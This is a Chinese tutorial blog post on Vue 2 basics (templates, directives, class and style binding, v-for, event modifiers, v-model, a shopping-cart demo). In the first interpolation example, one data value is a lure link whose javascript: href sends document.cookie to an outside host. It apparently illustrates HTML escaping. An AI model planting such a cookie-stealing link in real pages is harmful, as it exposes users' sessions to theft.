Vue2系列(lqz)——Vue基础
Vue介绍
一 模板语法
1.1 插值
1.1.1 概述
1 文本 {{}}
2 纯html
3 表达式
注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容
-vm.$data.name
-vm.name
1.1.2 案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
{{name}}
<br>
{{10}}
<br>
{{10+20}}
<br>
{{10>20?'大于':'小于'}}
<br>
{{myhtml}}
</div>
</body>
<script>
new Vue({
el:'#box',
data:{
name:'lqz',
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
}
})
</script>
</html>
二 指令
2.1 文本相关指令
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<p v-text='msg'>原文本会被替换</p>
<div v-html="myhtml"></div>
<div v-show="isShow">显示</div>
<div v-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
msg: 'lqz',
myhtml:'<a href="http://www.baidu.com">点我</a>',
isShow:true,
isCreated:true
}
})
</script>
</html>
2.2 事件指令
<!-- v-on: 指令 简写 @ -->
<!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下，事件对象应该显式传入 -->
<p @click="fn($event)"></p>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button v-on:click="test">点我</button>
<button @click="test()">点我2</button>
<button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
},
methods:{
test(){
console.log('test')
},
test2(ev){
console.log(ev)
},
}
})
</script>
</html>
2.3 属性指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass{
background: red;
}
.yellowclass{
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!--绑定src -->
<img v-bind:src="mysrc"/>
<img :src="mysrc"/>
<!--绑定class-->
<div v-bind:class="red">111111111</div>
<button @click="change">点击变色</button>
<div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
isActive:false,
red:'redclass',
yellow:'yellowclass',
},
methods: {
change(){
this.isActive=!this.isActive
},
}
})
</script>
</html>
三 class与style
3.1 class的三种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
<p :class="classObj">class对象写法</p>
<p :class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
classObj: {
class_a: true,
class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
},
classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')
},
methods: {
}
})
</script>
</html>
3.2 style的写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :style="'background:'+'red'">class三目写法</div>
<div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
<!--vm.isActive=true-->
<p :style="styleobj">class对象写法</p>
<p :style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
styleobj:{
background:'yellow',
fontSize:'30px',
},
styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop
},
methods: {
}
})
</script>
</html>
四 条件渲染
4.1 动态创建删除(v-else)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="handlediv">动态删除添加</button>
<div v-if="isActive">我出现了</div>
<div v-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
},
methods: {
handlediv() {
this.isActive = !this.isActive
}
}
})
</script>
</html>
五 列表渲染(v-for)
5.1 v-if+v-for控制购物车显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="add">加入购物车</button>
<ul v-if="!datalist.length==0">
<li v-for="data in datalist">{{data}}</li>
</ul>
<div v-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
// datalist:['111','222','3333']
datalist:[]
},
methods: {
add(){
this.datalist=['111','222','3333']
},
}
})
</script>
</html>
5.2 v-if/v-else-if/v-else
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div v-if="which==1">1111</div>
<div v-else-if="which==2">222</div>
<div v-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
which:1
},
})
</script>
</html>
5.3 v-for遍历列表，对象
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<ul>
<li v-for="(value,index) in arr">{{value}}---{{index}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) in obj">{{value}}---{{key}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) of obj">{{value}}---{{key}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
arr: ['11', '22', '33'],
obj: {name: 'lqz', age: 18, sex: '男'}
},
})
</script>
</html>
5.4 key值解释
<!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
跟踪每个节点身份，从而重新排序现有元素
理想的key值是每项都有且唯一的值，id等
-->
<ul>
<li v-for="(value,index) in arr" :key="index">{{value}}---{{index}}</li>
</ul>
5.5 数组更新与检测
<!--
1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
-页面不会更改：vm.arr.concat(['44','55'])
-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改：通过索引值更新数组
-解决方案一：
vm.arr[0]
"11"
vm.arr[0]='99'
"99"
vm.arr.splice(0,1,'88')
["99"]
-解决方案二
Vue.set(vm.arr,0,'lqz')
3 上面能更新是因为作者重写了那些方法
-->
六 事件处理
input
change
blur
6.1 input过滤案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!-- <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!-- <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
<p><input type="text" v-model="mytext" @input="handleChange"></p>
<ul>
<li v-for="data in newlist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext: '',
datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
},
methods: {
handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
})
},
},
})
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
// if(item.indexOf('a')>-1){
// return true
// }else {
// return false
// }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
})
</script>
</html>
6.2 简单事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow:true,
},
methods: {
handleShow() {
this.isShow=!this.isShow
},
},
})
</script>
</html>
6.3 事件修饰符
.stop 阻止事件冒泡
.prevent 阻止a链接跳转
.self 只处理自己的事件，子控件冒泡的事件不处理
.once 只处理一次就解绑(抽奖页面)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
<hr>
<ul @click="handleUl">
<li @click="handleLi($event)">111</li>
<li @click.stop="handleLinew">222</li>
<li @click="handleLi">333</li>
</ul>
<br>
<a href="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
<a href="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>
<ul @click.self="handleUl">
<li @click="handleLi2">111</li>
<li @click="handleLi2">222</li>
<li @click="handleLi2">333</li>
</ul>
<button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
},
methods: {
handleUl() {
console.log('ululul')
},
handleLi(ev) {
console.log('lilili')
ev.stopPropagation()
},
handleLi2(){
console.log('safsd')
},
handleLinew() {
console.log('lililinew')
},
handlea(ev) {
ev.preventDefault()
console.log('不跳了')
},
test(){
console.log('test')
},
},
})
</script>
</html>
6.4 按键修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" @keyup="handleKeyUp" v-model="mytext">
<input type="text" @keyup.enter="handleKeyUp2" v-model="mytext">
<!--不是所有的按键都写了，所以可以使用keycode数字-->
<input type="text" @keyup.13="handleKeyUp2" v-model="mytext">
<ul>
<li v-for="data in datalist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
mytext:'',
datalist:[]
},
methods: {
handleKeyUp(ev){
console.log(ev)
if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
}
},
handleKeyUp2(){
this.datalist.push(this.mytext)
},
}
})
</script>
</html>
七 表单控件绑定/双向数据绑定
7.1 v-model基本使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
},
})
</script>
</html>
7.2 checkbox选中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
<br>
<input type="checkbox" v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
radio:false,
},
})
</script>
</html>
7.3 多选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你喜欢的运动</p>
<input type="checkbox" v-model="checkgroup" value="抽烟">抽烟
<input type="checkbox" v-model="checkgroup" value="喝酒">喝酒
<input type="checkbox" v-model="checkgroup" value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
checkgroup:[],
},
})
</script>
</html>
7.4 单选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你最喜欢的编程语言</p>
<input type="radio" value="Python" v-model="radio">Python
<input type="radio" value="Java" v-model="radio">Java
<input type="radio" value="c++" v-model="radio">C++
{{radio}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
radio:'',
},
})
</script>
</html>
7.5 购物车案例
7.5.1 基本购物车
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
}
})
</script>
</html>
7.5.1 全选，全不选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
}
}
})
</script>
</html>
7.5.3 控制加减
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
<button @click="data.number++">+</button>
{{data.number}}
<button @click="handleClick(data)">-</button>
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
},
handleClick(data){
if(data.number==1){
data.number=1
}else{
data.number--
}
}
}
})
</script>
</html>
7.6 v-model之lazy,number,trim
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model.lazy="mytext"> {{mytext}}
<br>
<input type="text" v-model.number="mytext"> {{mytext}}
<br>
<input type="text" v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
},
})
</script>
</html>
Vue2系列(lqz)——Vue基础的更多相关文章
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十八║Vue基础: 指令(下)+计算属性+watch
回顾 今天来晚辣,给公司做了一个小项目,一个瀑布流+动态视频控制的DEMO,有需要的可以联系我,公司的项目就不对外展示了(一个后端程序员真的要干前端了哈哈哈). 书接上文,昨天正式的开始了Vue的代码 ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十九║Vue基础: 样式动态绑定+生命周期
回顾 哈喽大家好,前后端分离系列文章又开始了,今天周一,还是感谢大家花时间来观看我写的博客,周末呢,没有写文章,但是也没有闲着,主要是研究了下遗留问题,看过之前文章的应该知道,之前的在AOP使用Red ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 二十║Vue基础终篇：传值+组件+项目说明
缘起 新的一天又开始啦,大家也应该看到我的标题了,是滴,Vue基础基本就到这里了,咱们回头看看这一路,如果你都看了,并且都会写了,那么现在你就可以自己写一个Demo了,如果再了解一点路由,ajax请求 ...
- Vue基础系列（三）——Vue模板中的数据绑定语法
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（二）——Vue中的methods属性
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家指出. 作者简介: 一个不知名的前端开发 ...
- Vue基础系列（四）——Vue中的指令（上）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（五）——Vue中的指令（中）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- vue基础知识之vue-resource/axios
Vue基础知识之vue-resource和axios(三) vue-resource Vue.js是数据驱动的,这使得我们并不需要直接操作DOM,如果我们不需要使用jQuery的DOM选择器,就没 ...
- Vue基础及脚手架环境搭建
From:http://www.jianshu.com/p/dc5057e7ad0d 一.vue基础 “Vue2.0”跟俺一起全面入坑 01 “Vue2.0”跟俺一起全面入坑 02 “Vue2.0”跟 ...
- Vue基础知识之vue-resource和axios
Vue基础知识之vue-resource和axios 原文链接:http://www.cnblogs.com/Juphy/p/7073027.html vue-resource Vue.js是数据驱 ...
随机推荐
- 如何批量修改 GitHub 代码提交作者
批量修改 GitHub 代码提交作者需要进行以下步骤: 首先,你需要 clone 远程仓库到本地,使用以下命令: git clone <repository-url> ``` 将 `< ...
- docker-compose单服务器部署ELK
docker-compose 部署ELK 本项目采用的ELK版本为6.5.3,7.0+ 以上的版本部分配置不适合,请查看docker-compose多服务器部署ELK文章 目录结构 elk |--do ...
- 记录一个在写项目中遇到的Maven依赖无法导入的问题
记录一个在写项目中遇到的Maven依赖无法导入的问题 项目是一个父项目做依赖管理,三个子项目,今天遇到一个问题: 子项目中导入的依赖,怎么都导入不进去,maven仓库中已经有了,idea提示也没有问题 ...
- Linux 如何删除乱码的文件
事情是这样,服务器很多人在使用,以前的离职同事留了一大堆不知道是什么东西. 那些文件看不了,又删不掉,非常碍眼. 我搜索了挺多资料,没有一篇文章能真的解决问题(感觉都是抄来抄去的). 用 SFTP 工 ...
- Linux 日志收集器：syslog，syslog-ng，rsyslog
一 参考:https://www.cnblogs.com/zhaoyong631/p/14441090.html 基本上,它们都是相同,它们都允许在中央存储库中记录来自不同类型系统的数据. 但是它们是 ...
- 理解TCP四次挥手
以AB通电话举例: A的视角 A突然说,"现在几点了",进入FIN_WAIT_1 B回,"啊,10点了",A听到后不说话,进入FIN_WAIT_2 然后B说,& ...
- PostgreSql: 安装与链接
环境介绍 使用宝塔面板,在阿里云中安装PostgreSql,并使用DataGrip在本地进行链接 postgresql 配置 安装postgresql 在宝塔中安装postgresql 管理器 在此处 ...
- linux下卸载vnc
sudo apt-get purge realvnc-vnc-server推荐连接:https://askubuntu.com/questions/653321/how-to-uninstall-re ...
- 文心一言 VS 讯飞星火 VS chatgpt （69）-- 算法导论6.5 8题
八.HEAP-DELETE(A,i)操作能够将结点 i 从堆 A 中删除.对于一个包含 n个元素的堆,请设计一个能够在 O(lgn)时间内完成的 HEAP-DELETE 操作. 文心一言: 要在 O( ...
- 部署安装maven和mvnd
前言 maven是常见的java构建工具,优点是稳定可靠,缺点是构建太慢,maven-mvnd是maven的强化版,致力于提高构建速度,默认情况下,mvnd 使用多核CPU并行构建. 常见的java构 ...